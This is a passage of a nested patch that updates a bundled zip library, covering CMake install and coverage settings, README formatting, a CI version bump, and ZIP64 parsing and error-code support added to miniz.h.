- set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /D _CRT_SECURE_CPP_OVERLOAD_STANDARD_NAMES_COUNT=1")
- set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /D _CRT_NONSTDC_NO_WARNINGS=1 /D _CRT_SECURE_NO_WARNINGS=1")
-@@ -12,28 +16,80 @@ elseif ("${CMAKE_C_COMPILER_ID}" STREQUAL "GNU" OR
- "${CMAKE_C_COMPILER_ID}" STREQUAL "Clang" OR
- "${CMAKE_C_COMPILER_ID}" STREQUAL "AppleClang")
- set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -std=c99 -Wall -Wextra -Werror -pedantic")
-+ if(ENABLE_COVERAGE)
-+ set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -g -O0 -fprofile-arcs -ftest-coverage")
-+ set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} --coverage")
-+ endif()
- endif (MSVC)
-
- # zip
- set(SRC src/miniz.h src/zip.h src/zip.c)
- add_library(${PROJECT_NAME} ${SRC})
--target_include_directories(${PROJECT_NAME} INTERFACE src)
-+target_include_directories(${PROJECT_NAME} PUBLIC
-+ $<BUILD_INTERFACE:${CMAKE_CURRENT_SOURCE_DIR}/src>
-+ $<INSTALL_INTERFACE:include>
-+)
-
- # test
- if (NOT CMAKE_DISABLE_TESTING)
- enable_testing()
- add_subdirectory(test)
- find_package(Sanitizers)
-- add_sanitizers(${PROJECT_NAME} test.exe)
-- add_sanitizers(${PROJECT_NAME} test_miniz.exe)
-+ add_sanitizers(${PROJECT_NAME} ${test_out} ${test_miniz_out})
- endif()
-
-+####
-+# Installation (https://github.com/forexample/package-example) {
-+
-+set(CONFIG_INSTALL_DIR "lib/cmake/${PROJECT_NAME}")
-+set(INCLUDE_INSTALL_DIR "include")
-+
-+set(GENERATED_DIR "${CMAKE_CURRENT_BINARY_DIR}/generated")
-+
-+# Configuration
-+set(VERSION_CONFIG "${GENERATED_DIR}/${PROJECT_NAME}ConfigVersion.cmake")
-+set(PROJECT_CONFIG "${GENERATED_DIR}/${PROJECT_NAME}Config.cmake")
-+set(TARGETS_EXPORT_NAME "${PROJECT_NAME}Targets")
-+set(NAMESPACE "${PROJECT_NAME}::")
-+
-+# Include module with fuction 'write_basic_package_version_file'
-+include(CMakePackageConfigHelpers)
-+
-+# Note: PROJECT_VERSION is used as a VERSION
-+write_basic_package_version_file(
-+ "${VERSION_CONFIG}" COMPATIBILITY SameMajorVersion
-+)
-+
-+# Use variables:
-+# * TARGETS_EXPORT_NAME
-+# * PROJECT_NAME
-+configure_package_config_file(
-+ "cmake/Config.cmake.in"
-+ "${PROJECT_CONFIG}"
-+ INSTALL_DESTINATION "${CONFIG_INSTALL_DIR}"
-+)
-+
-+install(
-+ FILES "${PROJECT_CONFIG}" "${VERSION_CONFIG}"
-+ DESTINATION "${CONFIG_INSTALL_DIR}"
-+)
-+
-+install(
-+ EXPORT "${TARGETS_EXPORT_NAME}"
-+ NAMESPACE "${NAMESPACE}"
-+ DESTINATION "${CONFIG_INSTALL_DIR}"
-+)
-+
-+# }
-+
- install(TARGETS ${PROJECT_NAME}
-+ EXPORT ${TARGETS_EXPORT_NAME}
- RUNTIME DESTINATION bin
- ARCHIVE DESTINATION lib
- LIBRARY DESTINATION lib
-- COMPONENT library)
--install(FILES ${PROJECT_SOURCE_DIR}/src/zip.h DESTINATION include)
-+ INCLUDES DESTINATION ${INCLUDE_INSTALL_DIR}
-+)
-+install(FILES ${PROJECT_SOURCE_DIR}/src/zip.h DESTINATION ${INCLUDE_INSTALL_DIR}/zip)
-
- # uninstall target (https://gitlab.kitware.com/cmake/community/wikis/FAQ#can-i-do-make-uninstall-with-cmake)
- if(NOT TARGET uninstall)
-@@ -45,3 +101,12 @@ if(NOT TARGET uninstall)
- add_custom_target(uninstall
- COMMAND ${CMAKE_COMMAND} -P ${CMAKE_CURRENT_BINARY_DIR}/cmake/cmake_uninstall.cmake)
- endif()
-+
-+find_package(Doxygen)
-+if(DOXYGEN_FOUND)
-+ configure_file(${CMAKE_CURRENT_SOURCE_DIR}/Doxyfile.in ${CMAKE_CURRENT_BINARY_DIR}/Doxyfile @ONLY)
-+ add_custom_target(doc
-+ ${DOXYGEN_EXECUTABLE} ${CMAKE_CURRENT_BINARY_DIR}/Doxyfile
-+ WORKING_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}
-+ COMMENT "Generating API documentation with Doxygen" VERBATIM)
-+endif()
-diff --git a/contrib/zip/README.md b/contrib/zip/README.md
-index d5fb8cd2..14eb9a34 100644
---- a/contrib/zip/README.md
-+++ b/contrib/zip/README.md
-@@ -71,7 +71,7 @@ int arg = 2;
- zip_extract("foo.zip", "/tmp", on_extract_entry, &arg);
- ```
-
--* Extract a zip entry into memory.
-+* Extract a zip entry into memory.
- ```c
- void *buf = NULL;
- size_t bufsize;
-@@ -89,7 +89,7 @@ zip_close(zip);
- free(buf);
- ```
-
--* Extract a zip entry into memory (no internal allocation).
-+* Extract a zip entry into memory (no internal allocation).
- ```c
- unsigned char *buf;
- size_t bufsize;
-@@ -110,7 +110,7 @@ zip_close(zip);
- free(buf);
- ```
-
--* Extract a zip entry into memory using callback.
-+* Extract a zip entry into memory using callback.
- ```c
- struct buffer_t {
- char *data;
-@@ -144,7 +144,7 @@ free(buf.data);
- ```
-
-
--* Extract a zip entry into a file.
-+* Extract a zip entry into a file.
- ```c
- struct zip_t *zip = zip_open("foo.zip", 0, 'r');
- {
-@@ -157,7 +157,7 @@ struct zip_t *zip = zip_open("foo.zip", 0, 'r');
- zip_close(zip);
- ```
-
--* List of all zip entries
-+* List of all zip entries
- ```c
- struct zip_t *zip = zip_open("foo.zip", 0, 'r');
- int i, n = zip_total_entries(zip);
-@@ -174,7 +174,7 @@ for (i = 0; i < n; ++i) {
- zip_close(zip);
- ```
-
--## Bindings
-+# Bindings
- Compile zip library as a dynamic library.
- ```shell
- $ mkdir build
-diff --git a/contrib/zip/appveyor.yml b/contrib/zip/appveyor.yml
-index 0be6373c..ea17f5de 100644
---- a/contrib/zip/appveyor.yml
-+++ b/contrib/zip/appveyor.yml
-@@ -1,4 +1,4 @@
--version: zip-0.1.9.{build}
-+version: zip-0.1.15.{build}
- build_script:
- - cmd: >-
- cd c:\projects\zip
-diff --git a/contrib/zip/src/miniz.h b/contrib/zip/src/miniz.h
-index 2c27a94d..c4fcfb83 100644
---- a/contrib/zip/src/miniz.h
-+++ b/contrib/zip/src/miniz.h
-@@ -221,6 +221,7 @@
- #ifndef MINIZ_HEADER_INCLUDED
- #define MINIZ_HEADER_INCLUDED
-
-+#include <stdint.h>
- #include <stdlib.h>
-
- // Defines to completely disable specific portions of miniz.c:
-@@ -284,7 +285,8 @@
- /* Set MINIZ_USE_UNALIGNED_LOADS_AND_STORES only if not set */
- #if !defined(MINIZ_USE_UNALIGNED_LOADS_AND_STORES)
- #if MINIZ_X86_OR_X64_CPU
--/* Set MINIZ_USE_UNALIGNED_LOADS_AND_STORES to 1 on CPU's that permit efficient integer loads and stores from unaligned addresses. */
-+/* Set MINIZ_USE_UNALIGNED_LOADS_AND_STORES to 1 on CPU's that permit efficient
-+ * integer loads and stores from unaligned addresses. */
- #define MINIZ_USE_UNALIGNED_LOADS_AND_STORES 1
- #define MINIZ_UNALIGNED_USE_MEMCPY
- #else
-@@ -354,6 +356,44 @@ enum {
- MZ_FIXED = 4
- };
-
-+/* miniz error codes. Be sure to update mz_zip_get_error_string() if you add or
-+ * modify this enum. */
-+typedef enum {
-+ MZ_ZIP_NO_ERROR = 0,
-+ MZ_ZIP_UNDEFINED_ERROR,
-+ MZ_ZIP_TOO_MANY_FILES,
-+ MZ_ZIP_FILE_TOO_LARGE,
-+ MZ_ZIP_UNSUPPORTED_METHOD,
-+ MZ_ZIP_UNSUPPORTED_ENCRYPTION,
-+ MZ_ZIP_UNSUPPORTED_FEATURE,
-+ MZ_ZIP_FAILED_FINDING_CENTRAL_DIR,
-+ MZ_ZIP_NOT_AN_ARCHIVE,
-+ MZ_ZIP_INVALID_HEADER_OR_CORRUPTED,
-+ MZ_ZIP_UNSUPPORTED_MULTIDISK,
-+ MZ_ZIP_DECOMPRESSION_FAILED,
-+ MZ_ZIP_COMPRESSION_FAILED,
-+ MZ_ZIP_UNEXPECTED_DECOMPRESSED_SIZE,
-+ MZ_ZIP_CRC_CHECK_FAILED,
-+ MZ_ZIP_UNSUPPORTED_CDIR_SIZE,
-+ MZ_ZIP_ALLOC_FAILED,
-+ MZ_ZIP_FILE_OPEN_FAILED,
-+ MZ_ZIP_FILE_CREATE_FAILED,
-+ MZ_ZIP_FILE_WRITE_FAILED,
-+ MZ_ZIP_FILE_READ_FAILED,
-+ MZ_ZIP_FILE_CLOSE_FAILED,
-+ MZ_ZIP_FILE_SEEK_FAILED,
-+ MZ_ZIP_FILE_STAT_FAILED,
-+ MZ_ZIP_INVALID_PARAMETER,
-+ MZ_ZIP_INVALID_FILENAME,
-+ MZ_ZIP_BUF_TOO_SMALL,
-+ MZ_ZIP_INTERNAL_ERROR,
-+ MZ_ZIP_FILE_NOT_FOUND,
-+ MZ_ZIP_ARCHIVE_TOO_LARGE,
-+ MZ_ZIP_VALIDATION_FAILED,
-+ MZ_ZIP_WRITE_CALLBACK_FAILED,
-+ MZ_ZIP_TOTAL_ERRORS
-+} mz_zip_error;
-+
- // Method
- #define MZ_DEFLATED 8
-
-@@ -696,6 +736,7 @@ typedef size_t (*mz_file_read_func)(void *pOpaque, mz_uint64 file_ofs,
- void *pBuf, size_t n);
- typedef size_t (*mz_file_write_func)(void *pOpaque, mz_uint64 file_ofs,
- const void *pBuf, size_t n);
-+typedef mz_bool (*mz_file_needs_keepalive)(void *pOpaque);
-
- struct mz_zip_internal_state_tag;
- typedef struct mz_zip_internal_state_tag mz_zip_internal_state;
-@@ -707,13 +748,27 @@ typedef enum {
- MZ_ZIP_MODE_WRITING_HAS_BEEN_FINALIZED = 3
- } mz_zip_mode;
-
--typedef struct mz_zip_archive_tag {
-+typedef enum {
-+ MZ_ZIP_TYPE_INVALID = 0,
-+ MZ_ZIP_TYPE_USER,
-+ MZ_ZIP_TYPE_MEMORY,
-+ MZ_ZIP_TYPE_HEAP,
-+ MZ_ZIP_TYPE_FILE,
-+ MZ_ZIP_TYPE_CFILE,
-+ MZ_ZIP_TOTAL_TYPES
-+} mz_zip_type;
-+
-+typedef struct {
- mz_uint64 m_archive_size;
- mz_uint64 m_central_directory_file_ofs;
-- mz_uint m_total_files;
-+
-+ /* We only support up to UINT32_MAX files in zip64 mode. */
-+ mz_uint32 m_total_files;
- mz_zip_mode m_zip_mode;
-+ mz_zip_type m_zip_type;
-+ mz_zip_error m_last_error;
-
-- mz_uint m_file_offset_alignment;
-+ mz_uint64 m_file_offset_alignment;
-
- mz_alloc_func m_pAlloc;
- mz_free_func m_pFree;
-@@ -722,6 +777,7 @@ typedef struct mz_zip_archive_tag {
-
- mz_file_read_func m_pRead;
- mz_file_write_func m_pWrite;
-+ mz_file_needs_keepalive m_pNeeds_keepalive;
- void *m_pIO_opaque;
-
- mz_zip_internal_state *m_pState;
-@@ -1263,6 +1319,9 @@ mz_uint tdefl_create_comp_flags_from_zip_params(int level, int window_bits,
- int strategy);
- #endif // #ifndef MINIZ_NO_ZLIB_APIS
-
-+#define MZ_UINT16_MAX (0xFFFFU)
-+#define MZ_UINT32_MAX (0xFFFFFFFFU)
-+
- #ifdef __cplusplus
- }
- #endif
-@@ -1311,6 +1370,11 @@ typedef unsigned char mz_validate_uint64[sizeof(mz_uint64) == 8 ? 1 : -1];
- ((mz_uint32)(((const mz_uint8 *)(p))[3]) << 24U))
- #endif
-
-+#define MZ_READ_LE64(p) \
-+ (((mz_uint64)MZ_READ_LE32(p)) | \
-+ (((mz_uint64)MZ_READ_LE32((const mz_uint8 *)(p) + sizeof(mz_uint32))) \
-+ << 32U))
-+
- #ifdef _MSC_VER
- #define MZ_FORCEINLINE __forceinline
- #elif defined(__GNUC__)
-@@ -4160,6 +4224,17 @@ enum {
- MZ_ZIP_LOCAL_DIR_HEADER_SIZE = 30,
- MZ_ZIP_CENTRAL_DIR_HEADER_SIZE = 46,
- MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE = 22,
-+
-+ /* ZIP64 archive identifier and record sizes */
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_HEADER_SIG = 0x06064b50,
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_LOCATOR_SIG = 0x07064b50,
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_HEADER_SIZE = 56,
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_LOCATOR_SIZE = 20,
-+ MZ_ZIP64_EXTENDED_INFORMATION_FIELD_HEADER_ID = 0x0001,
-+ MZ_ZIP_DATA_DESCRIPTOR_ID = 0x08074b50,
-+ MZ_ZIP_DATA_DESCRIPTER_SIZE64 = 24,
-+ MZ_ZIP_DATA_DESCRIPTER_SIZE32 = 16,
-+
- // Central directory header record offsets
- MZ_ZIP_CDH_SIG_OFS = 0,
- MZ_ZIP_CDH_VERSION_MADE_BY_OFS = 4,
-@@ -4199,6 +4274,31 @@ enum {
- MZ_ZIP_ECDH_CDIR_SIZE_OFS = 12,
- MZ_ZIP_ECDH_CDIR_OFS_OFS = 16,
- MZ_ZIP_ECDH_COMMENT_SIZE_OFS = 20,
-+
-+ /* ZIP64 End of central directory locator offsets */
-+ MZ_ZIP64_ECDL_SIG_OFS = 0, /* 4 bytes */
-+ MZ_ZIP64_ECDL_NUM_DISK_CDIR_OFS = 4, /* 4 bytes */
-+ MZ_ZIP64_ECDL_REL_OFS_TO_ZIP64_ECDR_OFS = 8, /* 8 bytes */
-+ MZ_ZIP64_ECDL_TOTAL_NUMBER_OF_DISKS_OFS = 16, /* 4 bytes */
-+
-+ /* ZIP64 End of central directory header offsets */
-+ MZ_ZIP64_ECDH_SIG_OFS = 0, /* 4 bytes */
-+ MZ_ZIP64_ECDH_SIZE_OF_RECORD_OFS = 4, /* 8 bytes */
-+ MZ_ZIP64_ECDH_VERSION_MADE_BY_OFS = 12, /* 2 bytes */
-+ MZ_ZIP64_ECDH_VERSION_NEEDED_OFS = 14, /* 2 bytes */
-+ MZ_ZIP64_ECDH_NUM_THIS_DISK_OFS = 16, /* 4 bytes */
-+ MZ_ZIP64_ECDH_NUM_DISK_CDIR_OFS = 20, /* 4 bytes */
-+ MZ_ZIP64_ECDH_CDIR_NUM_ENTRIES_ON_DISK_OFS = 24, /* 8 bytes */
-+ MZ_ZIP64_ECDH_CDIR_TOTAL_ENTRIES_OFS = 32, /* 8 bytes */
-+ MZ_ZIP64_ECDH_CDIR_SIZE_OFS = 40, /* 8 bytes */
-+ MZ_ZIP64_ECDH_CDIR_OFS_OFS = 48, /* 8 bytes */
-+ MZ_ZIP_VERSION_MADE_BY_DOS_FILESYSTEM_ID = 0,
-+ MZ_ZIP_DOS_DIR_ATTRIBUTE_BITFLAG = 0x10,
-+ MZ_ZIP_GENERAL_PURPOSE_BIT_FLAG_IS_ENCRYPTED = 1,
-+ MZ_ZIP_GENERAL_PURPOSE_BIT_FLAG_COMPRESSED_PATCH_FLAG = 32,
-+ MZ_ZIP_GENERAL_PURPOSE_BIT_FLAG_USES_STRONG_ENCRYPTION = 64,
-+ MZ_ZIP_GENERAL_PURPOSE_BIT_FLAG_LOCAL_DIR_IS_MASKED = 8192,
-+ MZ_ZIP_GENERAL_PURPOSE_BIT_FLAG_UTF8 = 1 << 11
- };
-
- typedef struct {
-@@ -4211,7 +4311,24 @@ struct mz_zip_internal_state_tag {
- mz_zip_array m_central_dir;
- mz_zip_array m_central_dir_offsets;
- mz_zip_array m_sorted_central_dir_offsets;
-+
-+ /* The flags passed in when the archive is initially opened. */
-+ uint32_t m_init_flags;
-+
-+ /* MZ_TRUE if the archive has a zip64 end of central directory headers, etc.
-+ */
-+ mz_bool m_zip64;
-+
-+ /* MZ_TRUE if we found zip64 extended info in the central directory (m_zip64
-+ * will also be slammed to true too, even if we didn't find a zip64 end of
-+ * central dir header, etc.) */
-+ mz_bool m_zip64_has_extended_info_fields;
-+
-+ /* These fields are used by the file, FILE, memory, and memory/heap read/write
-+ * helpers. */
- MZ_FILE *m_pFile;
-+ mz_uint64 m_file_archive_start_ofs;
-+
- void *m_pMem;
- size_t m_mem_size;
- size_t m_mem_capacity;
-@@ -4363,6 +4480,13 @@ static mz_bool mz_zip_set_file_times(const char *pFilename, time_t access_time,
- #endif /* #ifndef MINIZ_NO_STDIO */
- #endif /* #ifndef MINIZ_NO_TIME */
-
-+static MZ_FORCEINLINE mz_bool mz_zip_set_error(mz_zip_archive *pZip,
-+ mz_zip_error err_num) {
-+ if (pZip)
-+ pZip->m_last_error = err_num;
-+ return MZ_FALSE;
-+}
-+
- static mz_bool mz_zip_reader_init_internal(mz_zip_archive *pZip,
- mz_uint32 flags) {
- (void)flags;
-@@ -4480,127 +4604,346 @@ mz_zip_reader_sort_central_dir_offsets_by_filename(mz_zip_archive *pZip) {
- }
- }
-
--static mz_bool mz_zip_reader_read_central_dir(mz_zip_archive *pZip,
-- mz_uint32 flags) {
-- mz_uint cdir_size, num_this_disk, cdir_disk_index;
-- mz_uint64 cdir_ofs;
-+static mz_bool mz_zip_reader_locate_header_sig(mz_zip_archive *pZip,
-+ mz_uint32 record_sig,
-+ mz_uint32 record_size,
-+ mz_int64 *pOfs) {
- mz_int64 cur_file_ofs;
-- const mz_uint8 *p;
- mz_uint32 buf_u32[4096 / sizeof(mz_uint32)];
- mz_uint8 *pBuf = (mz_uint8 *)buf_u32;
-- mz_bool sort_central_dir =
-- ((flags & MZ_ZIP_FLAG_DO_NOT_SORT_CENTRAL_DIRECTORY) == 0);
-- // Basic sanity checks - reject files which are too small, and check the first
-- // 4 bytes of the file to make sure a local header is there.
-- if (pZip->m_archive_size < MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE)
-+
-+ /* Basic sanity checks - reject files which are too small */
-+ if (pZip->m_archive_size < record_size)
- return MZ_FALSE;
-- // Find the end of central directory record by scanning the file from the end
-- // towards the beginning.
-+
-+ /* Find the record by scanning the file from the end towards the beginning. */
- cur_file_ofs =
- MZ_MAX((mz_int64)pZip->m_archive_size - (mz_int64)sizeof(buf_u32), 0);
- for (;;) {
- int i,
- n = (int)MZ_MIN(sizeof(buf_u32), pZip->m_archive_size - cur_file_ofs);
-+
- if (pZip->m_pRead(pZip->m_pIO_opaque, cur_file_ofs, pBuf, n) != (mz_uint)n)
- return MZ_FALSE;
-- for (i = n - 4; i >= 0; --i)
-- if (MZ_READ_LE32(pBuf + i) == MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIG)
-- break;
-+
-+ for (i = n - 4; i >= 0; --i) {
-+ mz_uint s = MZ_READ_LE32(pBuf + i);
-+ if (s == record_sig) {
-+ if ((pZip->m_archive_size - (cur_file_ofs + i)) >= record_size)
-+ break;
-+ }
-+ }
-+
- if (i >= 0) {
- cur_file_ofs += i;
- break;
- }
-+
-+ /* Give up if we've searched the entire file, or we've gone back "too far"
-+ * (~64kb) */
- if ((!cur_file_ofs) || ((pZip->m_archive_size - cur_file_ofs) >=
-- (0xFFFF + MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE)))
-+ (MZ_UINT16_MAX + record_size)))
- return MZ_FALSE;
-+
- cur_file_ofs = MZ_MAX(cur_file_ofs - (sizeof(buf_u32) - 3), 0);
- }
-- // Read and verify the end of central directory record.
-+
-+ *pOfs = cur_file_ofs;
-+ return MZ_TRUE;
-+}
-+
-+static mz_bool mz_zip_reader_read_central_dir(mz_zip_archive *pZip,
-+ mz_uint flags) {
-+ mz_uint cdir_size = 0, cdir_entries_on_this_disk = 0, num_this_disk = 0,
-+ cdir_disk_index = 0;
-+ mz_uint64 cdir_ofs = 0;
-+ mz_int64 cur_file_ofs = 0;
-+ const mz_uint8 *p;
-+
-+ mz_uint32 buf_u32[4096 / sizeof(mz_uint32)];
-+ mz_uint8 *pBuf = (mz_uint8 *)buf_u32;
-+ mz_bool sort_central_dir =
-+ ((flags & MZ_ZIP_FLAG_DO_NOT_SORT_CENTRAL_DIRECTORY) == 0);
-+ mz_uint32 zip64_end_of_central_dir_locator_u32
-+ [(MZ_ZIP64_END_OF_CENTRAL_DIR_LOCATOR_SIZE + sizeof(mz_uint32) - 1) /
-+ sizeof(mz_uint32)];
-+ mz_uint8 *pZip64_locator = (mz_uint8 *)zip64_end_of_central_dir_locator_u32;
-+
-+ mz_uint32 zip64_end_of_central_dir_header_u32
-+ [(MZ_ZIP64_END_OF_CENTRAL_DIR_HEADER_SIZE + sizeof(mz_uint32) - 1) /
-+ sizeof(mz_uint32)];
-+ mz_uint8 *pZip64_end_of_central_dir =
-+ (mz_uint8 *)zip64_end_of_central_dir_header_u32;
-+
-+ mz_uint64 zip64_end_of_central_dir_ofs = 0;
-+
-+ /* Basic sanity checks - reject files which are too small, and check the first
-+ * 4 bytes of the file to make sure a local header is there. */
-+ if (pZip->m_archive_size < MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE)
-+ return mz_zip_set_error(pZip, MZ_ZIP_NOT_AN_ARCHIVE);
-+
-+ if (!mz_zip_reader_locate_header_sig(
-+ pZip, MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIG,
-+ MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE, &cur_file_ofs))
-+ return mz_zip_set_error(pZip, MZ_ZIP_FAILED_FINDING_CENTRAL_DIR);
-+
-+ /* Read and verify the end of central directory record. */
- if (pZip->m_pRead(pZip->m_pIO_opaque, cur_file_ofs, pBuf,
- MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE) !=
- MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE)
-- return MZ_FALSE;
-- if ((MZ_READ_LE32(pBuf + MZ_ZIP_ECDH_SIG_OFS) !=
-- MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIG) ||
-- ((pZip->m_total_files =
-- MZ_READ_LE16(pBuf + MZ_ZIP_ECDH_CDIR_TOTAL_ENTRIES_OFS)) !=
-- MZ_READ_LE16(pBuf + MZ_ZIP_ECDH_CDIR_NUM_ENTRIES_ON_DISK_OFS)))
-- return MZ_FALSE;
-+ return mz_zip_set_error(pZip, MZ_ZIP_FILE_READ_FAILED);
-+
-+ if (MZ_READ_LE32(pBuf + MZ_ZIP_ECDH_SIG_OFS) !=
-+ MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIG)
-+ return mz_zip_set_error(pZip, MZ_ZIP_NOT_AN_ARCHIVE);
-+
-+ if (cur_file_ofs >= (MZ_ZIP64_END_OF_CENTRAL_DIR_LOCATOR_SIZE +
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_HEADER_SIZE)) {
-+ if (pZip->m_pRead(pZip->m_pIO_opaque,
-+ cur_file_ofs - MZ_ZIP64_END_OF_CENTRAL_DIR_LOCATOR_SIZE,
-+ pZip64_locator,
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_LOCATOR_SIZE) ==
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_LOCATOR_SIZE) {
-+ if (MZ_READ_LE32(pZip64_locator + MZ_ZIP64_ECDL_SIG_OFS) ==
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_LOCATOR_SIG) {
-+ zip64_end_of_central_dir_ofs = MZ_READ_LE64(
-+ pZip64_locator + MZ_ZIP64_ECDL_REL_OFS_TO_ZIP64_ECDR_OFS);
-+ if (zip64_end_of_central_dir_ofs >
-+ (pZip->m_archive_size - MZ_ZIP64_END_OF_CENTRAL_DIR_HEADER_SIZE))
-+ return mz_zip_set_error(pZip, MZ_ZIP_NOT_AN_ARCHIVE);
-+
-+ if (pZip->m_pRead(pZip->m_pIO_opaque, zip64_end_of_central_dir_ofs,
-+ pZip64_end_of_central_dir,
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_HEADER_SIZE) ==
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_HEADER_SIZE) {
-+ if (MZ_READ_LE32(pZip64_end_of_central_dir + MZ_ZIP64_ECDH_SIG_OFS) ==
-+ MZ_ZIP64_END_OF_CENTRAL_DIR_HEADER_SIG) {
-+ pZip->m_pState->m_zip64 = MZ_TRUE;
-+ }
-+ }
-+ }
-+ }
-+ }
-
-+ pZip->m_total_files = MZ_READ_LE16(pBuf + MZ_ZIP_ECDH_CDIR_TOTAL_ENTRIES_OFS);
-+ cdir_entries_on_this_disk =
-+ MZ_READ_LE16(pBuf + MZ_ZIP_ECDH_CDIR_NUM_ENTRIES_ON_DISK_OFS);
- num_this_disk = MZ_READ_LE16(pBuf + MZ_ZIP_ECDH_NUM_THIS_DISK_OFS);
- cdir_disk_index = MZ_READ_LE16(pBuf + MZ_ZIP_ECDH_NUM_DISK_CDIR_OFS);
-+ cdir_size = MZ_READ_LE32(pBuf + MZ_ZIP_ECDH_CDIR_SIZE_OFS);
-+ cdir_ofs = MZ_READ_LE32(pBuf + MZ_ZIP_ECDH_CDIR_OFS_OFS);
-+
-+ if (pZip->m_pState->m_zip64) {
-+ mz_uint32 zip64_total_num_of_disks =
-+ MZ_READ_LE32(pZip64_locator + MZ_ZIP64_ECDL_TOTAL_NUMBER_OF_DISKS_OFS);
-+ mz_uint64 zip64_cdir_total_entries = MZ_READ_LE64(
-+ pZip64_end_of_central_dir + MZ_ZIP64_ECDH_CDIR_TOTAL_ENTRIES_OFS);
-+ mz_uint64 zip64_cdir_total_entries_on_this_disk = MZ_READ_LE64(
-+ pZip64_end_of_central_dir + MZ_ZIP64_ECDH_CDIR_NUM_ENTRIES_ON_DISK_OFS);
-+ mz_uint64 zip64_size_of_end_of_central_dir_record = MZ_READ_LE64(
-+ pZip64_end_of_central_dir + MZ_ZIP64_ECDH_SIZE_OF_RECORD_OFS);
-+ mz_uint64 zip64_size_of_central_directory =
-+ MZ_READ_LE64(pZip64_end_of_central_dir + MZ_ZIP64_ECDH_CDIR_SIZE_OFS);
-+
-+ if (zip64_size_of_end_of_central_dir_record <
-+ (MZ_ZIP64_END_OF_CENTRAL_DIR_HEADER_SIZE - 12))
-+ return mz_zip_set_error(pZip, MZ_ZIP_INVALID_HEADER_OR_CORRUPTED);
-+
-+ if (zip64_total_num_of_disks != 1U)
-+ return mz_zip_set_error(pZip, MZ_ZIP_UNSUPPORTED_MULTIDISK);
-+
-+ /* Check for miniz's practical limits */
-+ if (zip64_cdir_total_entries > MZ_UINT32_MAX)
-+ return mz_zip_set_error(pZip, MZ_ZIP_TOO_MANY_FILES);
-+
-+ pZip->m_total_files = (mz_uint32)zip64_cdir_total_entries;
-+
-+ if (zip64_cdir_total_entries_on_this_disk > MZ_UINT32_MAX)
-+ return mz_zip_set_error(pZip, MZ_ZIP_TOO_MANY_FILES);
-+
-+ cdir_entries_on_this_disk =
-+ (mz_uint32)zip64_cdir_total_entries_on_this_disk;
-+
-+ /* Check for miniz's current practical limits (sorry, this should be enough
-+ * for millions of files) */
-+ if (zip64_size_of_central_directory > MZ_UINT32_MAX)
-+ return mz_zip_set_error(pZip, MZ_ZIP_UNSUPPORTED_CDIR_SIZE);
-+
-+ cdir_size = (mz_uint32)zip64_size_of_central_directory;
-+
-+ num_this_disk = MZ_READ_LE32(pZip64_end_of_central_dir +
-+ MZ_ZIP64_ECDH_NUM_THIS_DISK_OFS);
-+
-+ cdir_disk_index = MZ_READ_LE32(pZip64_end_of_central_dir +
-+ MZ_ZIP64_ECDH_NUM_DISK_CDIR_OFS);
-+
-+ cdir_ofs =
-+ MZ_READ_LE64(pZip64_end_of_central_dir + MZ_ZIP64_ECDH_CDIR_OFS_OFS);
-+ }
-+
-+ if (pZip->m_total_files != cdir_entries_on_this_disk)
-+ return mz_zip_set_error(pZip, MZ_ZIP_UNSUPPORTED_MULTIDISK);
-+
- if (((num_this_disk | cdir_disk_index) != 0) &&
- ((num_this_disk != 1) || (cdir_disk_index != 1)))
-- return MZ_FALSE;
-+ return mz_zip_set_error(pZip, MZ_ZIP_UNSUPPORTED_MULTIDISK);
-
-- if ((cdir_size = MZ_READ_LE32(pBuf + MZ_ZIP_ECDH_CDIR_SIZE_OFS)) <
-- pZip->m_total_files * MZ_ZIP_CENTRAL_DIR_HEADER_SIZE)
-- return MZ_FALSE;
-+ if (cdir_size < pZip->m_total_files * MZ_ZIP_CENTRAL_DIR_HEADER_SIZE)
-+ return mz_zip_set_error(pZip, MZ_ZIP_INVALID_HEADER_OR_CORRUPTED);
-
-- cdir_ofs = MZ_READ_LE32(pBuf + MZ_ZIP_ECDH_CDIR_OFS_OFS);
- if ((cdir_ofs + (mz_uint64)cdir_size) > pZip->m_archive_size)
-- return MZ_FALSE;
-+ return mz_zip_set_error(pZip, MZ_ZIP_INVALID_HEADER_OR_CORRUPTED);
-
- pZip->m_central_directory_file_ofs = cdir_ofs;
-
- if (pZip->m_total_files) {
- mz_uint i, n;
--
-- // Read the entire central directory into a heap block, and allocate another
-- // heap block to hold the unsorted central dir file record offsets, and
-- // another to hold the sorted indices.
-+ /* Read the entire central directory into a heap block, and allocate another
-+ * heap block to hold the unsorted central dir file record offsets, and
-+ * possibly another to hold the sorted indices. */
- if ((!mz_zip_array_resize(pZip, &pZip->m_pState->m_central_dir, cdir_size,
- MZ_FALSE)) ||
- (!mz_zip_array_resize(pZip, &pZip->m_pState->m_central_dir_offsets,
- pZip->m_total_files, MZ_FALSE)))
-- return MZ_FALSE;
-+ return mz_zip_set_error(pZip, MZ_ZIP_ALLOC_FAILED);
-
- if (sort_central_dir) {
- if (!mz_zip_array_resize(pZip,
